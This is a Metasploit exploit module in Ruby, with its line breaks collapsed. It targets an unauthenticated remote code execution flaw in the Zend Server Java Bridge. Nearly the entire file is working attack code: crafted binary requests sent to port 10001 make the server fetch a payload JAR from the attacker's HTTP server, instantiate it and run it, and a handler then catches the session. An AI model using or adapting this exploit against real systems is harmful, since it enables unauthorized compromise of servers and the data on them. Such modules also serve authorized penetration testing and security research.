### $Id: zend_java_bridge.rb 12242 2011-04-05 01:08:07Z swtornio $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = GreatRanking	include Msf::Exploit::Remote::HttpServer	include Msf::Exploit::Remote::Tcp	def initialize(info = {})		super(update_info(info,			'Name'           => 'Zend Server Java Bridge Arbitrary Java Code Execution',			'Description'    => %q{					This module takes advantage of a trust relationship issue within the				Zend Server Java Bridge. The Java Bridge is responsible for handling interactions				between PHP and Java code within Zend Server. 									When Java code is encountered Zend Server communicates with the Java Bridge. The				Java Bridge then handles the java code and creates the objects within the Java Virtual				Machine. This interaction however, does not require any sort of authentication. This				leaves the JVM wide open to remote attackers. Sending specially crafted data to the				Java Bridge results in the execution of arbitrary java code.			},			'Author'         => [ 'bannedit' ],			'License'        => MSF_LICENSE,			'Version'        => '$Revision: 12242 $',			'References'     =>				[					[ 'OSVDB', '71420'],					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'],					[ 'URL', 'http://www.exploit-db.com/exploits/17078/' ],				],			'Platform'       => ['java'], # win			'Arch'           => ARCH_JAVA,			'Privileged'     => true,			'Targets'        =>				[					[ 'Linux', {}],					[ 'Windows', {}],				],			'DisclosureDate' => 'Mar 28 2011',			'DefaultTarget' => 0))			register_options( [ Opt::RPORT(10001) ], self.class)	end	def exploit		start_service()		send_java_require	end		def send_java_require()		connect		jar = rand_text_alpha(rand(8)+1) + '.jar'		path = get_uri + '/' + jar		uri_len = path.length		java_require = [0xffffffff, 0x16000000].pack('V*') +		"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +		[uri_len].pack('C') + path		java_require = [java_require.length].pack('N') + java_require 		print_status("Sending java_require() request... #{path}")		sock.put(java_require)		res = sock.get_once				select(nil, nil, nil, 5) # wait for the request to be handled		create_and_exec	end		def create_and_exec		print_status("Sending Final Java Bridge Requests")		create_obj = 			[0x34000000, 0x00000000, 0x0c000000].pack('V*') +			"CreateObject" +			[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +			"metasploit.Payload" +			[0x07000000].pack('N') + [0x00].pack('C')		sock.put(create_obj)		res = sock.get_once		obj_id = res[5,4]		callmain = 		[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +		[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') + 		[0x00].pack('C') + [0x00].pack('C')		sock.put(callmain)		sock.get_once		handler()	end	def on_request_uri(cli, request)		if request.uri =~ //.jar$/i			send_response(cli, payload.encoded,			{				'Content-Type' => 'application/java-archive',				'Connection'   => 'close',				'Pragma'       => 'no-cache'			})			print_status("Replied to Request for Payload JAR")		end	endend